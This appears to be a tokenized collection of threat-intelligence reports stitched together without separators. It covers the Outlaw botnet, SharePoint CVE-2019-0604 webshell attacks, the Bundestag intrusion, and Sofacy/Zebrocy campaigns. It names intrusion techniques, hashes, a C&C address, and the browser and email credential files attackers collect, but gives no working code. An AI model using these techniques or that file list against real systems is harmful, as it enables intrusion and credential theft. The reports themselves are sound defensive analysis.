These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage , military institutions , and governmental organizations often in search of documents related to current political events and human rights organizations .


This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .


Outlaw Updates Kit to Kill Older Miner Versions , Targets More Systems .


As we ’ve observed with cybercriminal groups that aim to maximize profits for every campaign , silence doesn’t necessarily mean inactivity .


It appears hacking group Outlaw , which has been silent for the past few months , was simply developing their toolkit for illicit income sources .


While they have been quiet since our June analysis , we observed an increase in the group ’s activities in December , with updates on the kits ’ capabilities reminiscent of their previous attacks .


The updates expanded scanner parameters and targets , looped execution of files via error messages , improved evasion techniques for scanning activities , and improved mining profits by killing off both the competition and their own previous miners .


We analyzed the kits , which were designed to steal information from the automotive and finance industries , launch subsequent attacks on already compromised systems , and ( possibly ) sell stolen information .


Comparing this development to their previous attacks , we think Outlaw may be aiming to go after enterprises that have yet to update their systems , assessing security and changes with their previously infected hosts , finding new and old targets , and possibly testing their updates in the wild .


We will continue to observe the group ’s activities as they target industries from the United States and Europe .


Based on the samples we collected and traced to 456 distinct IPs , we expect the group to be more active in the coming months as we observed changes on the versions we acquired .


These new samples targeted Linux- and Unix-based operating systems , vulnerable servers , and internet of things ( IoT ) devices by exploiting known vulnerabilities with available exploits .


This time , the group explored unpatched systems vulnerable to CVE-2016-8655 and Dirty COW exploit ( CVE-2016-5195 ) as attack vectors .


Files using simple PHP-based web shells were also used to attack systems with weak SSH and Telnet credentials .


While no phishing- or social engineering-initiated routines were observed in this campaign , we found multiple attacks over the network that are considered “ loud. ” These involved large-scale scanning operations of IP ranges intentionally launched from the command and control ( C&C ) server .


The honeynet graphs , which show activity peaks associated with specific actions , also suggest that the scans were timed .


From the sample we analyzed , attacks started from one virtual private server ( VPS ) that searches for a vulnerable machine to compromise ( previous techniques used malicious URLs or infecting legitimate websites for bot propagation ) .


Once infected , the C&C commands for the infected system launches a loud scanning activity and spreads the botnet by sending a “ whole kit ” of binary files at once with naming conventions same as the ones already in the targeted host , likely banking on breaking through via “ security through obscurity. ” They attempted to evade traffic inspection by encoding the code for the scanner with base-64 .


The zombie host initiates the scan — another routine from previous campaigns — but updated with a larger set of parameters and programmed to run in the background .


The kit we found is in tgz format , though we have observed some samples disguised as png or jpg .


While previous routines took advantage of competing miners ’ activities and unrelated components to hijack the profit , the latest version of the code attempts to remove all related files and codes from previous infections ( including their own to make sure the running components are updated , as well as those from other cybercriminals to maximize the resources of the zombie host ) and creates a new working directory /tmp/.X19-unix to move the kit and extract the files .


The tsm binary then runs in the background , forwarding a series of error messages to /dev/null to keep the code running , ensuring the continuous execution of the code referenced with a set of parameters /tmp/up.txt .


The script then waits 20 minutes before it runs the wrapper script initall :


initall .


Another variant executes a set of commands once a system is successfully compromised .


Most of these commands are related to gathering information from the infected machine ( number of CPU cores , users , scheduled tasks , running processes , OS installed , and CPU and memory information ) via the dota3 payload , as well as changing the password to a random string also stored in /tmp/up.txt .


In a previous execution ( published in June 2019 ) , we observed that dota2 had its own folder but it was hardly executed .


Running the script removes the remaining files and scripts from previous attacks , keeping a low profile to evade detection .


If the system has been previously infected with a cryptominer , it also attempts to kill the running miner and all its related activities .


Based on a bashtemp directory of the latest sample we found , there are other compiled ELF scripts , named init and init2 , that loops the kit to keep running :


init . 93ce211a71867017723cd78969aa4cac9d21c3d8f72c96ee3e1b2712c0eea494


init2 .


Both init and init2 scripts make sure all other running mining services are killed , and that all the files in the working directory are executed by giving 777 permissions .


We also found the init0 script running ; the script cleans out all miners regardless of its origin .


It then resets cron and removes possible cache files from other programs , starts scripts and binaries a , init0 , and start , and sets the persistence by modifying the crontab .


The a binary is a script wrapper to start run , a Perl-obfuscated script for installation of a Shellbot to gain control of the infected system .


The Shellbot disguises itself as a process named rsync , commonly the binary seen on many Unix- and Linux-based systems to automatically run for backup and synchronization .


This allows the malicious activity to evade detection .


The Shellbot script is added to run after the victim ’s system reboots , and scripts /a/upd , /b/sync/ , and /c/aptitude/ are added to the crontab .


However , while we observed the presence of the codes , the functions of upd , sync and aptitude were disabled in the kits ’ latest version .


It remains unclear whether these are leftover code from the previous versions or their particular purposes were served .


Shellbot is also used to control the botnet , with a command that is sent and run from the C&C to determine if there is a code execution in the shell , the hostname , and its architecture .


All results and system information collected from the infected system are stored locally in the device for a period before Outlaw retrieves them via the C&C .


Since discovering the operations of this group in 2018 , Outlaw continues to use scripts , codes , and commands that have been previously used and deployed .


These routines are indicative of the group ’s aim to get quantitative returns through varied cybercriminal profit streams .


This was also reinforced by their naming conventions , wherein different versions are simply named after the code iterations , following a specific format regardless of the actual function of the code .


Trojan.SH.MALXMR.UWEJP : 1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa .


Backdoor.SH.SHELLBOT.AA : b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d .


Trojan.Linux.SSHBRUTE.B : 620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976 .


Coinminer.Linux.MALXMR.SMDSL32 : fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a .


Coinminer.Linux.MALXMR.SMDSL64 : 649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79 .


Actors Still Exploiting SharePoint Vulnerability to Attack Middle East Government Organizations .


On September 10 , 2019 , we observed unknown threat actors exploiting a vulnerability in SharePoint described in CVE-2019-0604 to install several webshells on the website of a Middle East government organization .


One of these webshells is the open source AntSword webshell freely available on Github , which is remarkably similar to the infamous China Chopper webshell .


On January 10 , 2020 , we used Shodan to search for Internet accessible servers running versions of SharePoint vulnerable to CVE-2019-0604 .


While admittedly the version numbers provided by SharePoint within HTTP responses do not always provide the precise SharePoint version number , we decided to use it to check if it was less than the version numbers of the patched SharePoint versions from the Microsoft advisory .


We performed this comparison and found 28,881 servers that advertised a vulnerable version of SharePoint .


We did not actively check each server to verify if they were indeed vulnerable , so it is possible that many of these public-facing SharePoint servers were not vulnerable or since patched .


Regardless , the sheer number of servers and publicly available exploit code suggests that CVE-2019-0604 is still a major attack vector .


Using this collection of webshells , the actors moved laterally to other systems on the network by dumping credentials with a variant of the notorious Mimikatz tool and using Impacket ’s atexec tool to use dumped credentials to run commands on other systems .


On September 19 , 2019 , we observed the same exact Mimikatz variant uploaded to a webshell hosted at another government organization in a second country in the Middle East .


The Mimikatz variant uploaded to these two organizations is unique , as it involves a seemingly custom loader application written in .NET .


Therefore , we believe that the same threat group is behind both intrusions .


Back in April 2019 , we first observed the Emissary Panda threat group exploiting CVE-2019-0604 to install webshells on SharePoint servers at government organizations in two Middle Eastern countries .


Fast forward five months to the current attacks and we see exploitation of the same vulnerability at government organizations in two different countries compared to the April attacks .


We do not have any strong ties to connect the current attacks exploiting this vulnerability in SharePoint with the Emissary Panda attacks carried out in April .


The overlaps between these two sets of attacks include exploitation of a common vulnerability , similar toolset and a shared government victimology , but no strong pivot points to connect these attack campaigns together .


The exploitation of this vulnerability is not unique to Emissary Panda , as multiple threat groups are using this vulnerability to exploit SharePoint servers to gain initial access to targeted networks .


We would like to acknowledge the possibility of an overlap in the AntSword webshell , as we stated that Emissary Panda used China Chopper in the April attacks and AntSword and China Chopper webshells are incredibly similar .


However , at this time we do not believe the April attacks used AntSword based on artifacts analyzed on the SharePoint server , specifically none of the IIS logs in the April attacks used the AntSword User-Agent in requests to the webshell that were observed in the current attacks .


Palo Alto Networks customers are protected from the threat described in this blog through Threat Prevention signatures for the exploits and C2 traffic as well as through WildFire .


More details on this protection is available in the conclusion of the report .


On September 10 , 2019 , we observed an HTTP POST request to the following URL that we believe was the exploitation of CVE-2019-0604 in a publicly facing SharePoint server ( T1190 ) : /_layouts/15/picker.aspx .


The command uses the echo command to write a large chunk of base64 encoded data to a text file named cmd.txt .


The command then uses the certutil application to convert the base64 encoded data ( T1132 ) in the cmd.txt file to c.aspx in three different SharePoint related folders .


The result of this entire command saves a variant of the Awen asp.net webshell ( T1100 ) to the SharePoint server to further interact with the compromise server .


The Awen webshell deployed in the exploitation of this SharePoint vulnerability had a SHA256 hash of 5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21 .


Just 40 seconds after the suspected exploitation of CVE-2019-0604 , we observed the first HTTP GET request to a webshell at c.aspx , which is a modified version of the freely available awen asp.net webshell .


We believe this HTTP GET request was the actor visiting the webshell after exploitation and prior to executing commands .


The actor uses the Awen webshell to run various commands to do an initial discovery on the system and network , including user accounts ( T1033 and T1087 ) , files and folders ( T1083 ) , privileged groups ( T1069 ) , remote systems ( T1018 ) and network configuration ( T1016 ) .


Table 1 not only shows the commands used for discovery , but also the commands used to deploy another webshell to the server using the echo command to write base64 encoded data to a.txt and using the certutil application to decode and save to bitreeview.aspx .


The webshell named bitreeview.aspx was saved to a folder within the SharePoint server ’s install path .


The bitreeview.aspx file is a variant of the AntSword webshell that has undeniably similar traits as the infamous China Chopper webshell .


After installing this AntSword webshell , the actor no longer uses the Awen webshell and issues the first command to AntSword 35 seconds after the last command issued to the Awen webshell .


AntSword is a modular webshell that involves a very simple webshell that the actor would deploy to the compromised server and a client application referred to as the AntSword Shell Manager .


The use of the client application differs from many other webshells that the actor would interact with in a browser window .


The actor would use the AntSword Shell Manager to interact with the AntSword webshell on the compromised server , as the Shell Manager sends the appropriate script to the webshell that will execute to carry out the desired action .


To provide a sense of the limited functionality within the webshell itself , the bitreeview.aspx AntSword webshell deployed in this attack ( SHA256: 15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7da55e ) was only 162 bytes .


AntSword webshell has no functionality other than running a script provided by the AntSword Shell Manager , specifically within a field named Darr1R1ng of an HTTP POST request .


The code above also tells us the actors had created their own custom “ encoder ” within the AntSword Shell Manager to be able to interact with the code above , which we will discuss in detail in the next section .


In addition to the Mimikatz tool , the actor uploaded other tools to the webshell hosted at this second organization . es.exe : Mimikatz with custom loader , da53dcaeede03413ba02802c4be10883c4c28d3d28dee11734f048b90eb3d304 .


Rar.exe : Legitimate WinRAR , 26d9212ec8dbca45383eb95ec53c05357851bd7529fa0761d649f62e90c4e9fd . atec.exe : Compiled Impacket atexec tool , a4aca75bcc8f18b8a2316fd67a7e545c59b871d32de0b325f56d22584038fa10 . dmp.exe : Dumpert tool , e4e05c9a216c2f2b3925293503b5d5a892c33db2f6ea58753f032b80608c3f2e .


One of the tools seen above that caught our interest was the Dumpert tool , which is freely available on Outflanknl ’s GitHub repository .


The author of Dumpert describes the tool as an LSASS dumping tool that uses direct system calls and API unhooking to evade antivirus and EDR solutions .


Dumpert is a relatively new tool with its initial commit to GitHub occurring on June 17 , 2019 .


While the Dumpert tool is meant to help red teams emulate an adversary , we had not seen this tool used by threat actors until it was uploaded to this related webshell on September 23 , 2019 .


Threat actors continue to exploit the CVE-2019-0604 vulnerability to compromise SharePoint servers , which is a vulnerability that Microsoft released a patch for in March 2019 .


We observed actors installing webshells to the SharePoint server that they use to run commands and upload additional tools to in order to dump credentials and move laterally to other systems on the network .


We were also able to find a related webshell based on the threat group ’s tool reuse , specifically a custom Mimikatz sample .


Thanks to this tool reuse , we found the threat group uploading a credential dumping tool called Dumpert that we had not seen used in prior incidents involving the exploitation of CVE-2019-0604 .


Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag .


Two suspicious artifacts have been retrieved from two separate servers within the Die Linke infrastructure .


One is an open source utility used to remotely issue commands on a Windows host from a Linux host .


The other is a custom utility which , despite its large size , has limited functionality and acts as a tunnel , possibly used by the attackers to maintain persistence within the compromised network .


Attributes of one of the artifacts and intelligence gathered on the infrastructure operated by the attackers suggest that the attack was perpetrated by a state-sponsored group known as Sofacy ( or APT28 ) .


Previous work published by security vendor FireEye in October 2014 suggests the group might be of Russian origin .


The first artifact – identified across this report as Artifact #1 – has the following attributes :


Name winexesvc.exe Size 23552 MD5 77e7fb6b56c3ece4ef4e93b6dc608be0 SHA1 f46f84e53263a33e266aae520cb2c1bd0a73354e SHA256 5130f600cd9a9cdc82d4bad938b20cbd2f699aadb76e7f3f1a93602330d9997d .


The second artifact – identified across this report as Artifact #2 – -has the following attributes :


Name svchost.exe Size 1062912 MD5 5e70a5c47c6b59dae7faf0f2d62b28b3 SHA1 cdeea936331fcdd8158c876e9d23539f8976c305 SHA256 730a0e3daf0b54f065bdd2ca427fbe10e8d4e28646a5dc40cbcfb15e1702ed9a Compile Time 2015-04-22 10:49:54 .


Artifact #1 was retrieved from a File Server operated by Die Linke .


The file is a 64bit-compatible compiled binary of the open source utility Winexe .


Winexe is software similar to the more popular PSExec and is designed to allow system administrators to execute commands on remote servers .


While commercial solutions like Symantec pcAnywhere provide a larger feature-set , Winexe is lightweight , and doesn’t require any installation or configuration .


One of the reasons Winexe is preferred over PSExec , is that it provides a Linux client , while PSExec doesn’t .


Attackers are making growing use of utilities like Winexe and PSExec to perform lateral movement across compromised networks .


Besides providing the ability to execute arbitrary commands on the target system , these utilities normally don’t raise suspicion as they are commonly whitelisted by Antivirus and other commercial security software .


Winexe acts as a Windows service that can be configured to automatically start at boot and silently wait for incoming commands over a named pipe .


Named pipes are a Windows inter-process communication method .


Through named pipes , processes are able to communicate and exchange data even over a network .


In the case of Artifact #1 , the name of the pipe is ahexec , computers over the network could access the pipe server by simply opening a file handle on \ServerNamepipeahexec .


Once connected to the pipe , a user or a program can easily provide information required to execute command ( just as they would normally through a command-line ) .


The provided information is then passed to a CreateProcessAsUserA call and the specified command is executed .


Once inside the network , Artifact #1 can be enough for the attacker to download or create additional scripts , execute commands and exfiltrate data ( for example , simply through ftp ) .


It is plausible that Artifact #1 could be present on other servers under different names , although it is also likely that the attacker only left it on servers to which they required maintainenance of persistent access .


Artifact #2 was recovered from the Admin Controller operated by Die Linke .


This is custom malware , which despite large file size ( 1,1 MB ) , provides limited functionality .


Artifact #2 operates as a backchannel for the attacker to maintain a foothold inside the compromised network .


The properties of the artifact show that the same authors of the malware seem to have called it Xtunnel .


As the same name suggests , the artifact appears in fact to act as a tunnel for the attacker to remotely access the internal network and maintain persistence .


After initialization , the artifact will attempt to establish a connection by creating a socket .


In case of failure , it will sleep for three seconds and try again .


The authors of the malware didn’t appear to have spent any effort in concealing indicators or obfuscating code – the IP address with which it tries to communicate is hardcoded in clear-text inside the binary .


We can observe below , the procedure through which the artifact attempts to establish a connection with the IP address 176.31.112.10 .


This specific IP address is a critical piece of information that enables us to connect this attack to a spree of previous targeted campaigns .


The details of this attribution is explained in a dedicated section below .


We will refer to this IP address as Command & Control ( or C&C ) .


If the argument -SSL is given through command-line to the artifact , these beacons will be encapsulated in an SSL connection and a proper TLS handshake will be initiated with the C&C .


Interestingly , the artifact bundles a copy of OpenSSL 1.0.1e , from February 2013 , which causes the unusually large size of the binary .


More importantly , the Command & Control server ( 176.31.112.10 ) also appears to be using an outdated version of OpenSSL and be vulnerable to Heartbleed attacks .


While unlikely , it is worth considering that the same C&C server might have been the subject of 3rd-party attacks due to this vulnerability .


If connections to the C&C are blocked or terminated through a firewall , the artifact will be inhibited , as it doesn’t seem to have any fallback protocol .


Additionally , since it does not execute any other functionality autonomously , it would no longer be a direct threat .


While attribution of malware attacks is rarely simple or conclusive , during the course of this investigation I uncovered evidence that suggests the attacker might be affiliated with the state-sponsored group known as Sofacy Group ( also known as APT28 or Operation Pawn Storm ) .


Although we are unable to provide details in support of such attribution , previous work by security vendor FireEye suggests the group might be of Russian origin , however no evidence allows to tie the attacks to governments of any particular country .


Sofacy is a group dedicated to the compromise of high-profile targets and the theft of confidential information .


They appear to have been active since 2006 .


They are believed to have successfully attacked the Ministries of Internal and Foreign Affairs of several ex-Soviet countries , as well as Eastern European governments and military institutions , and NATO and the White House .


Sofacy is known for making extensive use of phishing attacks to lure targets into revealing their credentials via realistic reconstruction of internal systems , such as webmails , as employed against the Georgian Ministry of Internal Affairs in the infamous attacks that preceded the Georgian invasion of 2008 .


While Sofacy is also known to use of custom exploit frameworks and spear-phishing attacks , it is possible in this case that they managed to obtain privileged credentials of network administrators within the Bundestag through the use of a phishing attack , which then allowed them to navigate through the network and gain access to more data .


It is worth noting that shortly before the attack , security vendors reported the use of 0-day exploits in Flash Player and Microsoft Windows by the same threat actor .


During investigation of the Command & Control server ( with IP 176.31.112.10 hardcoded in Artifact #2 ) , we managed to identify some operational mistakes made by the attackers , allowing us to connect the incident with attacks previously associated with the Sofacy Group .


The address , 176.31.112.10 , is a dedicated server provided by the French OVH hosting company , but is apparently operated by an offshore secure hosting company called CrookServers.com .


By researching historical data relevant to C&C 176.31.112.10 , we discovered that on February 16th 2015 , the server was sharing an SSL certificate with another IP address allocated to CrookServers and also hosted at OVH : 213.251.187.145 .


The recovered shared SSL certificate , obtained by a public internet-wide scanning initiative , at the time had the following attributes :


MD5 b84b66bcdecd4b4529014619ed649d76 SHA1 fef1725ad72e4ef0432f8cb0cb73bf7ead339a7c Algorithm sha1 With RSA Encryption .


As shown , the certificate uses mail.mfa.gov.ua as a Common Name .


This suggests that this certificate might have been previously used for a similar attack against the Ukrainian Ministry of Foreign Affairs , or associated targets , although there is no documentation of such attack available to the public .


More importantly , the IP address this certificate was shared with 213.251.187.145 was previously identified as used by Sofacy Group for phishing attacks against Albanian government institutions by registering the domain qov.al and creating realistic subdomains to lure victims into visiting .


The domain was active on the IP 213.251.187.145 from July 2014 up until March 2015 .


These attacks against Albanian government institutions by the Sofacy Group were documented and reported by consultancy corporate PwC in December 2014 .


It is worth noting that this server also seems to be operated by CrookServers , since among other domains , 454-reverse.crookservers.net resolved to the same IP address .


While the evidence presented strongly suggests a connection with the Sofacy Group , the artifacts ( in particular Artifact #2 ) are not publicly recognized to be part of the more traditional arsenal of these attackers .


Nevertheless , on May 12th 2015 ( a few weeks after the attack against Bundestag appears to have started ) the American security firm root9B released a report containing details on malware samples very similar to Artifact #2 .


The report also includes a mention of the same IP address used as Command & Control server in the attack against Bundestag ( 176.31.112.10 ) .


While the report appears to contain numerous inaccuracies , some of the indicators of compromises are legitimate and appear to be correctly attributed to Sofacy .


A Slice of 2017 Sofacy Activity .


Sofacy , also known as APT28 , Fancy Bear , and Tsar Team , is a highly active and prolific APT .


From their high volume 0day deployment to their innovative and broad malware set , Sofacy is one of the top groups that we monitor , report , and protect against . 2017 was not any different in this regard .


Our private reports subscription customers receive a steady stream of YARA , IOC , and reports on Sofacy , our most reported APT for the year .


This high level of cyber-espionage activity goes back years .


In 2011-2012 , the group used a relatively tiny implant ( known as “ Sofacy ” or SOURFACE ) as their first stage malware , which at the time had similarities with the old Miniduke implants .


This made us believe the two groups were connected , although it looks they split ways at a certain point , with the original Miniduke group switching to the CosmicDuke implant in 2014 .


The division in malware was consistent and definitive at that point .


In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM ( aka Xagent , aka CHOPSTICK ) , JHUHUGIT ( which is built with code from the Carberp sources ) , AZZY ( aka ADVSTORESHELL , NETUI , EVILTOSS , and spans across 4-5 generations ) and a few others .


We ’ve seen quite a few versions of these implants , which were relatively widespread at some point or still are .


In 2015 we noticed another wave of attacks which took advantage of a new release of the AZZY implant , largely undetected by antivirus products .


The new wave of attacks included a new generation of USB stealers deployed by Sofacy , with initial versions dating to February 2015 .


It appeared to be geared exclusively towards high profile targets .


Sofacy ’s reported presence in the DNC network alongside APT29 brought possibly the highest level of public attention to the group ’s activities in 2016 , especially when data from the compromise was leaked and “ weaponized ” .


And later 2016 , their focus turned towards the Olympics ’ and the World Anti-Doping Agency ( WADA ) and Court of Arbitration for Sports ( CAS ) , when individuals and servers in these organizations were phished and compromised .


In a similar vein with past CyberBerkut activity , attackers hid behind anonymous activist groups like “ anonpoland ” , and data from victimized organizations were similarly leaked and “ weaponized ” .


This write-up will survey notables in the past year of 2017 Sofacy activity , including their targeting , technology , and notes on their infrastructure .


No one research group has 100% global visibility , and our collected data is presented accordingly .


Here , external APT28 reports on 2017 Darkhotel-style activity in Europe and Dealer ’s Choice spearphishing are of interest .


From where we sit , 2017 Sofacy activity starts with a heavy focus on NATO and Ukrainian partners , coinciding with lighter interest in Central Asian targets , and finishing the second half of the year with a heavy focus on Central Asian targets and some shift further East .


Sofacy kicked off the year deploying two 0day in a spearphish document , both a Microsoft Office encapsulated postscript type confusion exploit ( abusing CVE-2017-0262 ) and an escalation of privilege use-after-free exploit ( abusing CVE-2017-0263 ) .


The group attempted to deploy this spearphish attachment to push a small 30kb backdoor known as GAMEFISH to targets in Europe at the beginning of 2017 .


They took advantage of the Syrian military conflict for thematic content and file naming “ Trump ’s_Attack_on_Syria_English.docx ” .


Again , this deployment was likely a part of their focus on NATO targets .


Meanwhile in early-to-mid 2017 , SPLM / CHOPSTICK / XAgent detections in Central Asia provided a glimpse into ongoing focus on ex-Soviet republics in Central Asia .


These particular detections are interesting because they indicate an attempted selective 2nd stage deployment of a backdoor maintaining filestealer , keylogger , and remoteshell functionality to a system of interest .


As the latest revision of the backdoor , portions of SPLM didn’t match previous reports on SPLM / XAgent while other similarities were maintained .


SPLM 64-bit modules already appeared to be at version 4 of the software by May of the year .


Targeting profiles included defense related commercial and military organizations , and telecommunications .


Since mid-November 2015 , the threat actor referred to as “ Sofacy ” or “ APT28 ” has been utilizing a unique payload and delivery mechanism written in Delphi and AutoIT .


We collectively refer to this package and related activity as “ Zebrocy ” and had written a few reports on its usage and development by June 2017 – Sofacy developers modified and redeployed incremented versions of the malware .


The Zebrocy chain follows a pattern : spearphish attachment -> compiled Autoit script ( downloader ) -> Zebrocy payload .


In some deployments , we observed Sofacy actively developing and deploying a new package to a much smaller , specific subset of targets within the broader set .


Targeting profiles , spearphish filenames , and lures carry thematic content related to visa applications and scanned images , border control administration , and various administrative notes .


Targeting appears to be widely spread across the Middle East , Europe , and Asia .


We identified new MSIL components deployed by Zebrocy .


While recent Zebrocy versioning was 7.1 , some of the related Zebrocy modules that drop file-stealing MSIL modules we call Covfacy were v7.0 .


The components were an unexpected inclusion in this particular toolset .


For example , one sent out to a handful of countries identifies network drives when they are added to target systems , and then RC4 like-encrypts and writes certain file metadata and contents to a local path for later Exfiltration .


The stealer searches for files 60mb and less with these extensions : .doc , .docx , .xls , .xlsx , .ppt , .pptx , .exe , .zip , .rar .


At execution , it installs an application-defined Windows hook .


The hook gets windows messages indicating when a network drive has been attached .


Upon adding a network drive , the hook calls its “ RecordToFile ” file stealer method .


SPLM / CHOPSTICK components deployed throughout 2017 were native 64-bit modular C++ Windows COM backdoors supporting http over fully encrypted TLSv1 and TLSv1.2 communications , mostly deployed in the second half of 2017 by Sofacy .


Earlier SPLM activity deployed 32-bit modules over unencrypted http ( and sometimes smtp ) sessions .


In 2016 we saw fully functional , very large SPLM / X-Agent modules supporting OS X .


The executable module continues to be part of a framework supporting various internal and external components communicating over internal and external channels , maintaining slightly morphed encryption and functionality per deployment .


Sofacy selectively used SPLM / CHOPSTICK modules as second stage implants to high interest targets for years now .


The newer SPLM modules are deployed mostly to Central Asian based targets that may have a tie to NATO in some form .


These targets include foreign affairs government organizations both localized and abroad , and defense organizations ’ presence localized , located in Europe and also located in Afghanistan .


One outlier SPLM target profile within our visibility includes an audit and consulting firm in Bosnia and Herzegovina .


Minor changes and updates to the code were released with these deployments , including a new mutex format and the exclusive use of encrypted HTTP communications over TLS .


The compiled code itself already is altered per deployment in multiple subtle ways , in order to stymie identification and automated analysis and accommodate targeted environments .


Strings ( c2 domains and functionality , error messages , etc ) are custom encrypted per deployment .


This subset of SPLM / CHOPSTICK activity leads into several small surprises that take us into 2018 , to be discussed in further detail at SAS 2018 .


The group demonstrates malleability and innovation in maintaining and producing familiar SPLM functionality , but the pragmatic and systematic approach towards producing undetected or difficult-to-detect malware continues .


Changes in the second stage SPLM backdoor are refined , making the code reliably modular .


It ’s interesting to note that this version of SPLM implements communications that are fully encrypted over HTTPS .


As an example , we might see extraneous data in their SSL / TLS certificates that give away information about their provider or resources .


Leading up to summer 2017 , infrastructure mostly was created with PDR and Internet Domain Service BS Corp , and their resellers .


Hosting mostly was provided at Fast Serv Inc and resellers , in all likelihood related to bitcoin payment processing .


Accordingly , the server side certificates appear to be generated locally on VPS hosts that exclusively are paid for at providers with bitcoin merchant processing .


One certificate was generated locally on what appeared to be a HP-UX box , and another was generated on 8569985.securefastserver.com with an email address root@8569985.securefastserver.com , as seen here for their nethostnet.com domain .


This certificate configuration is ignored by the malware .


Sofacy , one of the most active APT we monitor , continues to spearphish their way into targets , reportedly widely phishes for credentials , and infrequently participates in server side activity ( including host compromise with BeEF deployment , for example ) .


KSN visibility and detections suggests a shift from their early 2017 high volume NATO spearphish targeting towards the middle east and Central Asia , and finally moving their focus further east into late 2017 .


Their operational security is good .


Their campaigns appear to have broken out into subsets of activity and malware involving GAMEFISH , Zebrocy , and SPLM , to name a few .


Their evolving and modified SPLM / CHOPSTICK / XAgent code is a long-standing part of Sofacy activity , however much of it is changing .


We ’ll cover more recent 2018 change in their targeting and the malware itself at SAS 2018 .


A journey to Zebrocy land .


The Sednit group – also known as APT28 , Fancy Bear , Sofacy or STRONTIUM – has been operating since at least 2004 and has made headlines frequently in past years .


Recently , we unveiled the existence of a UEFI rootkit , called LoJax , which we attribute to the Sednit group .


This is a first for an APT group , and shows Sednit has access to very sophisticated tools to conduct its espionage operations .


Three years ago , the Sednit group unleashed new components targeting victims in various countries in the Middle East and Central Asia .


Since then , the number and diversity of components has increased drastically .


ESET researchers and colleagues from other companies have documented these components ; however , in this article we will focus on what ’s beyond the compromise , what the operators do once a victim system is running a Zebrocy Delphi backdoor .


At the end of August 2018 , the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components .


In the past , Sednit used a similar technique for credential phishing .


However , it is unusual for the group to use this technique to deliver one of its malware components directly .


Previously , it had used exploits to deliver and execute the first stage malware , while in this campaign the group relied entirely on social engineering to lure victims into running the first part of the chain .


The screenshot in Figure 1 shows Bitly statistics for the shortened URL used in this campaign .


While ESET telemetry data indicates that this URL was delivered by spearphishing emails , we don’t have a sample of such an email .


The shortened URL leads the victim to an IP-address-based URL , where the archived payload is located .


Unfortunately , without the email message , we don’t know if there are any instructions for the user , if there is any further social engineering , or if it relies solely on the victim ’s curiosity .


The archive contains two files ; the first is an executable file , while the second is a decoy PDF document .


Note there is a typo in the executable ’s filename ; Once the binary is executed , a password prompt dialog box opens .


The result of the password validation will always be wrong , but after the apparent validation attempt , the decoy PDF document is opened .


That document appears to be empty , but the downloader , which is written in Delphi , continues running in the background .


The IP address is also used in the URL hardcoded into the first binary downloader .


The Stage-1 downloader will download and execute a new downloader , written in C++ , not so different from other Zebrocy downloaders .


Once again this downloader is as straightforward as the Zebrocy gang ’s other downloaders .


It creates an ID and it downloads a new , interesting backdoor , ( this time ) written in Delphi .


As we explained in our most recent blogpost about Zebrocy , the configuration of the backdoor is stored in in the resource section and is split into four different hex-encoded , encrypted blobs .


These blobs contain the different parts of the configuration .


Once the backdoor sends basic information about its newly compromised system , the operators take control of the backdoor and start to send commands right away .


Hence , the time between the victim running the downloader and the operators ’ first commands is only a few minutes .


In this section we describe in more detail the commands performed manually by the operators through their Delphi backdoor .


The commands available are located in one of the configuration blobs mentioned earlier .


The number of supported commands has increased over time , with the latest version of the backdoor having more than thirty .


As we did not identify a pattern in the order which the commands are invoked , we believe the operators are executing them manually .


The first set of commands gathers information about the victim ’s computer and environment :


Commands Arguments SCREENSHOT None SYS_INFO None GET_NETWORK None SCAN_ALL None .


The commands above are commonly executed when the operators first connect to a newly activated backdoor .


They don’t have any arguments , and they are quite self-explanatory .


Other commands commonly seen executed shortly after these backdoors are activated .


Those who already have read our previous articles about Zebrocy will notice that more or less the same kind of information is sent , over and over again by previous stages .


This information is requested within a few minutes of initial compromise and the amount of data the operator will have to deal with is quite considerable .


In order to collect even more information , from time to time the Zebrocy operators upload and use dumpers on victims ’ machines .


The current dumpers have some similarities with those previously used by the group .


In this case , Yandex Browser , Chromium , 7Star Browser ( a Chromium-based browser ) , and CentBrowser are targeted , as well as versions of Microsoft Outlook from 1997 through 2016 .


These dumpers create log files indicating the presence or absence of potential databases to dump :


Command Arguments DOWNLOAD_LIST C:\ProgramData\Office\MS\out.txt , C:\ProgramData\Office\MS\text.txt .


These dumpers are quickly removed once they have done their job .


Moreover , the backdoor contains a list of filenames related to credentials from software listed below ( database names ) :


key3.db Firefox private keys ( now named key4.db ) cert8.db Firefox certificate database logins.json Firefox encrypted password database account.cfn The Bat ! ( email client ) account credentials wand.dat Opera password database .


The operators retrieve these files on the machine using the DOWNLOAD_LIST command .


This command can be used when the operators are aware of the presence of interesting files on the computer .


Finally , depending on how interesting the victim is , they malware operators may deploy another custom backdoor .


This backdoor is executed using the CMD_EXECUTE command .


There are some interesting facts here .


First , they use COM object hijacking to make the malware persistent on the system even though the custom backdoor is installed only for a few hours .


Second , the hex-encoded string is the C&C used by the custom backdoor while in the Delphi backdoor the C&C is embedded in the configuration .


Sofacy Group’s Parallel Attacks .


The Sofacy group remains a persistent global threat .


Unit 42 and others have shown in the first half of 2018 how this threat actor group continues to target multiple organizations throughout the world with a strong emphasis on government , diplomatic and other strategic organizations primarily in North America and Europe .


Following up our most recent Sofacy research in February and March of 2018 , we have found a new campaign that uses a lesser known tool widely attributed to the Sofacy group called Zebrocy .


Zebrocy is delivered primarily via phishing attacks that contain malicious Microsoft Office documents with macros as well as simple executable file attachments .


This third campaign is consistent with two previously reported attack campaigns in terms of targeting : the targets were government organizations dealing with foreign affairs .


In this case however the targets were in different geopolitical regions .


An interesting difference we found in this newest campaign was that the attacks using Zebrocy cast a far wider net within the target organization : the attackers sent phishing emails to a an exponentially larger number of individuals .


